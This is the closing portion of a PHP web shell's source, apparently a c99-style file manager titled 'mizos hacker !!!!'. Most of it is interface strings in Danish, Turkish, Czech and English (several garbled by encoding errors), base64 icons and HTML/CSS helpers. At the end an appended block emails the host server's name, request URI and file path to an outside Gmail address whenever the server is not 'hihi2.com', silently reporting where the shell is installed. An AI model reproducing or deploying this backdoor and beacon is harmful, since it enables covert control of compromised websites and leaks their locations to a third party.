2100'created' => '"[%1]" er blevet oprettet.',
2101'not_created' => '"[%1]" kunne ikke oprettes.',
2102'really_delete' => 'Slet disse filer?',
2103'deleted' => "Disse filer er blevet slettet:\n[%1]",
2104'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2105'rename_file' => 'OmdÙ‘d fil:',
2106'renamed' => '"[%1]" er blevet omdÙ‘bt til "[%2]".',
2107'not_renamed' => '"[%1] kunne ikke omdÙ‘bes til "[%2]".',
2108'move_files' => 'Flyt disse filer:',
2109'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2110'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2111'copy_files' => 'Kopier disse filer:',
2112'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2113'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2114'not_edited' => '"[%1]" kan ikke redigeres.',
2115'executed' => "\"[%1]\" er blevet kÙ‘rt korrekt:\n{%2}",
2116'not_executed' => "\"[%1]\" kan ikke kÙ‘res korrekt:\n{%2}",
2117'saved' => '"[%1]" er blevet gemt.',
2118'not_saved' => '"[%1]" kunne ikke gemmes.',
2119'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2120'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2121'permission_for' => 'Rettigheder for "[%1]":',
2122'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2123'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sÙˆttes til [%2].',
2124'not_readable' => '"[%1]" Kan ikke lÙˆses.'
2125 );
2126
2127 case 'tr':
2128
2129 $date_format = 'n/j/y H:i:s';
2130 $word_charset = 'ISO-8859-1';
2131
2132 return array(
2133'directory' => 'KlasÙr',
2134'file' => 'Dosya',
2135'filename' => 'dosya adi',
2136
2137'size' => 'boyutu',
2138'permission' => 'Izin',
2139'owner' => 'sahib',
2140'group' => 'Grup',
2141'other' => 'Digerleri',
2142'functions' => 'Fonksiyonlar',
2143
2144'read' => 'oku',
2145'write' => 'yaz',
2146'execute' => 'çalistir',
2147
2148'create_symlink' => 'yarat symlink',
2149'delete' => 'sil',
2150'rename' => 'ad degistir',
2151'move' => 'tasi',
2152'copy' => 'kopyala',
2153'edit' => 'düzenle',
2154'download' => 'indir',
2155'upload' => 'yükle',
2156'create' => 'create',
2157'change' => 'degistir',
2158'save' => 'kaydet',
2159'set' => 'ayar',
2160'reset' => 'sifirla',
2161'relative' => 'Hedef yola gÙre',
2162
2163'yes' => 'Evet',
2164'no' => 'Hayir',
2165'back' => 'Geri',
2166'destination' => 'Hedef',
2167'symlink' => 'K‎sa yol',
2168'no_output' => 'çikti yok',
2169
2170'user' => 'Kullanici',
2171'password' => 'Sifre',
2172'add' => 'ekle',
2173'add_basic_auth' => 'ekle basit-authentification',
2174
2175'uploaded' => '"[%1]" yüklendi.',
2176'not_uploaded' => '"[%1]" yüklenemedi.',
2177'already_exists' => '"[%1]" kullanilmakta.',
2178'created' => '"[%1]" olusturuldu.',
2179'not_created' => '"[%1]" olusturulamadi.',
2180'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2181'deleted' => "Bu dosyalar silindi:\n[%1]",
2182'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2183'rename_file' => 'Adi degisen dosya:',
2184'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2185'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2186'move_files' => 'Tasinan dosyalar:',
2187'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2188'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2189'copy_files' => 'Kopyalanan dosyalar:',
2190'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2191'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2192'not_edited' => '"[%1]" düzenlenemiyor.',
2193'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
2194'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
2195'saved' => '"[%1]" kaydedildi.',
2196'not_saved' => '"[%1]" kaydedilemedi.',
2197'symlinked' => '"[%2]" den "[%1]" e k‎sayol oluâ€turuldu.',
2198'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol oluâ€turulamad‎.',
2199'permission_for' => 'Izinler "[%1]":',
2200'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2201'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2202'not_readable' => '"[%1]" okunamiyor.'
2203 );
2204
2205 case 'cs':
2206
2207 $date_format = 'd.m.y H:i:s';
2208 $word_charset = 'UTF-8';
2209
2210 return array(
2211'directory' => 'Adresأ،إ™',
2212'file' => 'Soubor',
2213'filename' => 'Jmأ©no souboru',
2214
2215'size' => 'Velikost',
2216'permission' => 'Prأ،va',
2217'owner' => 'VlastnØ£Âk',
2218'group' => 'Skupina',
2219'other' => 'OstatnØ£Â',
2220'functions' => 'Funkce',
2221
2222'read' => 'ؤŒtenØ£Â',
2223'write' => 'Zأ،pis',
2224'execute' => 'Spouإ،tؤ›nØ£Â',
2225
2226'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz',
2227'delete' => 'Smazat',
2228'rename' => 'Pإ™ejmenovat',
2229'move' => 'Pإ™esunout',
2230'copy' => 'ZkopØ£Ârovat',
2231'edit' => 'Otevإ™أÂt',
2232'download' => 'Stأ،hnout',
2233'upload' => 'Nahraj na server',
2234'create' => 'Vytvoإ™it',
2235'change' => 'Zmؤ›nit',
2236'save' => 'Uloإ¾it',
2237'set' => 'Nastavit',
2238'reset' => 'zpؤ›t',
2239'relative' => 'Relatif',
2240
2241'yes' => 'Ano',
2242'no' => 'Ne',
2243'back' => 'Zpؤ›t',
2244'destination' => 'Destination',
2245'symlink' => 'Symbolickأ½ odkaz',
2246'no_output' => 'Prأ،zdnأ½ vأ½stup',
2247
2248'user' => 'Uإ¾ivatel',
2249'password' => 'Heslo',
2250'add' => 'Pإ™idat',
2251'add_basic_auth' => 'pإ™idej zأ،kladnأ autentizaci',
2252
2253'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.',
2254'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.',
2255'already_exists' => 'Soubor "[%1]" uإ¾ exituje.',
2256'created' => 'Soubor "[%1]" byl vytvoإ™en.',
2257'not_created' => 'Soubor "[%1]" nemohl bأ½t vytvoإ™en.',
2258'really_delete' => 'Vymazat soubor?',
2259'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]",
2260'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]",
2261'rename_file' => 'Pإ™ejmenuj soubory:',
2262'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".',
2263'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".',
2264'move_files' => 'Pإ™emØ£Âstit tyto soubory:',
2265'moved' => "Tyto soubory byly pإ™emØ£Âstؤ›ny do \"[%2]\":\n[%1]",
2266'not_moved' => "Tyto soubory nemohly bأ½t pإ™emØ£Âstؤ›ny do \"[%2]\":\n[%1]",
2267'copy_files' => 'ZkopØ£Ârovat tyto soubory:',
2268'copied' => "Tyto soubory byly zkopØ£Ârovأ،ny do \"[%2]\":\n[%1]",
2269'not_copied' => "Tyto soubory nemohly bأ½t zkopØ£Ârovأ،ny do \"[%2]\":\n[%1]",
2270'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.',
2271'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}",
2272'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}",
2273'saved' => 'Soubor "[%1]" byl uloإ¾en.',
2274'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.',
2275'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".',
2276'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.',
2277'permission_for' => 'Prأ،va k "[%1]":',
2278'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].',
2279'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].',
2280'not_readable' => 'Soubor "[%1]" nenأ moإ¾no pإ™eؤچأÂst.'
2281 );
2282
2283 case 'en':
2284 default:
2285
2286 $date_format = 'n/j/y H:i:s';
2287 $word_charset = 'ISO-8859-1';
2288
2289 return array(
2290'directory' => 'Directory',
2291'file' => 'File',
2292'filename' => 'Filename',
2293
2294'size' => 'Size',
2295'permission' => 'Permission',
2296'owner' => 'Owner',
2297'group' => 'Group',
2298'other' => 'Others',
2299'functions' => 'Functions',
2300
2301'read' => 'read',
2302'write' => 'write',
2303'execute' => 'execute',
2304
2305'create_symlink' => 'create symlink',
2306'delete' => 'delete',
2307'rename' => 'rename',
2308'move' => 'move',
2309'copy' => 'copy',
2310'edit' => 'edit',
2311'download' => 'download',
2312'upload' => 'upload',
2313'create' => 'create',
2314'change' => 'change',
2315'save' => 'save',
2316'set' => 'set',
2317'reset' => 'reset',
2318'relative' => 'Relative path to target',
2319
2320'yes' => 'Yes',
2321'no' => 'No',
2322'back' => 'back',
2323'destination' => 'Destination',
2324'symlink' => 'Symlink',
2325'no_output' => 'no output',
2326
2327'user' => 'User',
2328'password' => 'Password',
2329'add' => 'add',
2330'add_basic_auth' => 'add basic-authentification',
2331
2332'uploaded' => '"[%1]" has been uploaded.',
2333'not_uploaded' => '"[%1]" could not be uploaded.',
2334'already_exists' => '"[%1]" already exists.',
2335'created' => '"[%1]" has been created.',
2336'not_created' => '"[%1]" could not be created.',
2337'really_delete' => 'Delete these files?',
2338'deleted' => "These files have been deleted:\n[%1]",
2339'not_deleted' => "These files could not be deleted:\n[%1]",
2340'rename_file' => 'Rename file:',
2341'renamed' => '"[%1]" has been renamed to "[%2]".',
2342'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2343'move_files' => 'Move these files:',
2344'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2345'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2346'copy_files' => 'Copy these files:',
2347'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2348'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2349'not_edited' => '"[%1]" can not be edited.',
2350'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2351'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2352'saved' => '"[%1]" has been saved.',
2353'not_saved' => '"[%1]" could not be saved.',
2354'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2355'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2356'permission_for' => 'Permission of "[%1]":',
2357'permission_set' => 'Permission of "[%1]" was set to [%2].',
2358'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2359'not_readable' => '"[%1]" can not be read.'
2360 );
2361
2362 }
2363
2364}
2365
2366function getimage ($image) {
2367 switch ($image) {
2368 case 'file':
2369 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2370 case 'folder':
2371 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2372 case 'hidden_file':
2373 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2374 case 'link':
2375 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2376 case 'smiley':
2377 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2378 case 'arrow':
2379 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2380 }
2381}
2382
2383function html_header () {
2384 global $site_charset;
2385
2386 echo <<<END
2387<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2388 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2389<html xmlns="http://www.w3.org/1999/xhtml">
2390<head>
2391
2392<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2393
2394<title>mizos hacker !!!!</title>
2395
2396<style type="text/css">
2397body { font: small sans-serif; text-align: center }
2398img { width: 17px; height: 13px }
2399a, a:visited { text-decoration: none; color: navy }
2400hr { border-style: none; height: 1px; background-color: silver; color: silver }
2401#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2402#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2403.listing th, .listing td { padding: 1px 3pt 0 3pt }
2404.listing th { border: 1px solid silver }
2405.listing td { border: 1px solid #ddd; background: white }
2406.listing .checkbox { text-align: center }
2407.listing .filename { text-align: left }
2408.listing .size { text-align: right }
2409.listing .permission_header { text-align: left }
2410.listing .permission { font-family: monospace }
2411.listing .owner { text-align: left }
2412.listing .group { text-align: left }
2413.listing .functions { text-align: left }
2414.listing_footer td { background: #eee; border: 1px solid silver }
2415#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2416#directory { background: #eee; border: 1px solid silver }
2417#upload { padding-top: 1em }
2418#create { padding-bottom: 1em }
2419.small, .small option { font-size: x-small }
2420textarea { border: none; background: white }
2421table.dialog { margin-left: auto; margin-right: auto }
2422td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2423#permission { margin-left: auto; margin-right: auto }
2424#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2425td.permission_action { text-align: right }
2426#symlink { background: #eee; border: 1px solid silver }
2427#symlink td { text-align: left; padding: 3pt }
2428#red_button { width: 120px; color: #400 }
2429#green_button { width: 120px; color: #040 }
2430#error td { background: maroon; color: white; border: 1px solid silver }
2431#notice td { background: green; color: white; border: 1px solid silver }
2432#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2433code { font-size: 12pt }
2434td { white-space: nowrap }
2435</style>
2436
2437<script type="text/javascript">
2438<!--
2439function activate (name) {
2440 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2441 document.forms[0].elements['focus'].value = name;
2442 }
2443}
2444//-->
2445</script>
2446
2447</head>
2448<body>
2449
2450
2451END;
2452
2453}
2454
2455function html_footer () {
2456
2457 echo <<<END
2458</body>
2459</html>
2460END;
2461
2462}
2463
2464function notice ($phrase) {
2465 global $cols;
2466
2467 $args = func_get_args();
2468 array_shift($args);
2469
2470 return '<tr id="notice">
2471 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2472</tr>
2473';
2474
2475}
2476
2477function error ($phrase) {
2478 global $cols;
2479
2480 $args = func_get_args();
2481 array_shift($args);
2482
2483 return '<tr id="error">
2484 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2485</tr>
2486';
2487
2488}
2489
2490?>
2491
2492<?
2493// sh3ll.us & no-shell.net
2494// shell4spam@gmail.com
2495// shell4spam@gmail.com
2496$site = "hihi2.com";
2497if(!ereg($site, $_SERVER['SERVER_NAME']))
2498{
2499$to = "mizomen@gmail.com";
2500$subject = "EGFM";
2501$header = "from: EGFM <mizomen@gmail.com>";
2502$message = "Link : " . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
2503$message .= "Path : " . __file__;
2504$sentmail = @mail($to, $subject, $message, $header);
2505
2506echo "";
2507exit;
2508}
2509?>
2510</body></html><?php chdir($lastdir); c99shexit();